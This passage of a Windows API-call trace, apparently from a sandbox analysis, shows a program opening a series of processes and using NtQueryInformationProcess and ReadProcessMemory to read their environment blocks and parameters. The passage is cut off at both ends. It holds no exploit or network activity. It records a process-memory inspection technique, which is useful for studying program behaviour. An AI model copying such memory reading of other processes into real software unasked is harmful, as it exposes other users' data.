lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.387] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.387] malloc (_Size=0x80) returned 0x196ef0fa720 [0273.387] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311970, lpBuffer=0x196ef0fa720, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa720*, lpNumberOfBytesRead=0x0) returned 1 [0273.388] free (_Block=0x196ef0fa720) [0273.389] CloseHandle (hObject=0x464) returned 1 [0273.391] _ui64tow_s (in: _Value=0x1020, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4128") returned 0x0 [0273.396] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4128") returned 4 [0273.397] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0273.397] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.427] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1020) returned 0x464 [0273.427] GetLastError () returned 0x0 [0273.427] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.428] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.428] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.428] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.428] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4418f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.429] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.431] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.431] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.431] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.431] malloc (_Size=0x66) returned 0x196ef0d0610 [0273.431] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441956, lpBuffer=0x196ef0d0610, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0273.432] free (_Block=0x196ef0d0610) [0273.433] CloseHandle (hObject=0x464) returned 1 [0273.524] _ui64tow_s (in: _Value=0x1038, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0273.536] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4152") returned 4 [0273.538] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0273.538] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x464 [0273.637] GetLastError () returned 0x0 [0273.637] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.638] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.638] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.638] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.640] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.642] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.645] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.645] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.645] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.645] malloc (_Size=0x82) returned 0x196ef0fa720 [0273.645] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1972, lpBuffer=0x196ef0fa720, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa720*, lpNumberOfBytesRead=0x0) returned 1 [0273.646] free (_Block=0x196ef0fa720) [0273.648] CloseHandle (hObject=0x464) returned 1 [0273.648] _ui64tow_s (in: _Value=0x1040, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0273.660] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4160") returned 4 [0273.662] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0273.662] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.715] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x464 [0273.715] GetLastError () returned 0x0 [0273.715] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.715] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3da018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.716] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.716] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.716] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.720] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.723] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.723] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3da020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.723] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.724] malloc (_Size=0x5e) returned 0x196ef0d0610 [0273.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c194e, lpBuffer=0x196ef0d0610, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0273.724] free (_Block=0x196ef0d0610) [0273.726] CloseHandle (hObject=0x464) returned 1 [0273.726] _ui64tow_s (in: _Value=0x1050, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0274.015] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4176") returned 4 [0274.016] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.016] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.040] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0x464 [0274.040] GetLastError () returned 0x0 [0274.040] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.041] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.041] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.041] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.041] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.043] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.084] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.084] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.084] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.085] malloc (_Size=0x64) returned 0x196ef0d03e0 [0274.085] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1954, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0274.086] free (_Block=0x196ef0d03e0) [0274.087] CloseHandle (hObject=0x464) returned 1 [0274.088] _ui64tow_s (in: _Value=0x1058, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4184") returned 0x0 [0274.095] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4184") returned 4 [0274.097] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.097] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.122] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1058) returned 0x464 [0274.122] GetLastError () returned 0x0 [0274.123] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.178] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5ef018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.179] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.179] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.179] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.181] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.183] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.183] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5ef020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.183] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.183] malloc (_Size=0x72) returned 0x196ef0d31b0 [0274.183] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.184] free (_Block=0x196ef0d31b0) [0274.185] CloseHandle (hObject=0x464) returned 1 [0274.186] _ui64tow_s (in: _Value=0x1064, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0274.192] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4196") returned 4 [0274.193] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.193] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x464 [0274.214] GetLastError () returned 0x0 [0274.214] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.214] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x598018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.215] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.215] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x791cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.215] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7918f8, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.236] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.238] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.239] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x598020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.239] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.239] malloc (_Size=0x5e) returned 0x196ef0d0370 [0274.239] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x79194e, lpBuffer=0x196ef0d0370, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0274.240] free (_Block=0x196ef0d0370) [0274.241] CloseHandle (hObject=0x464) returned 1 [0274.242] _ui64tow_s (in: _Value=0x1074, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4212") returned 0x0 [0274.248] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4212") returned 4 [0274.250] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.250] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.270] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1074) returned 0x464 [0274.270] GetLastError () returned 0x0 [0274.271] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.271] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.271] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.272] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.272] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.273] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.275] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.275] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.275] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.275] malloc (_Size=0x9c) returned 0x196ef0d78b0 [0274.275] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46198c, lpBuffer=0x196ef0d78b0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d78b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.276] free (_Block=0x196ef0d78b0) [0274.277] CloseHandle (hObject=0x464) returned 1 [0274.277] _ui64tow_s (in: _Value=0x10b0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4272") returned 0x0 [0274.289] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4272") returned 4 [0274.290] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.290] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.311] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b0) returned 0x464 [0274.311] GetLastError () returned 0x0 [0274.312] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.312] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x256018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.312] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.313] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491e40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.313] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4919f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.316] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.318] NtQueryInformationProcess (in: ProcessHandle=0x464, 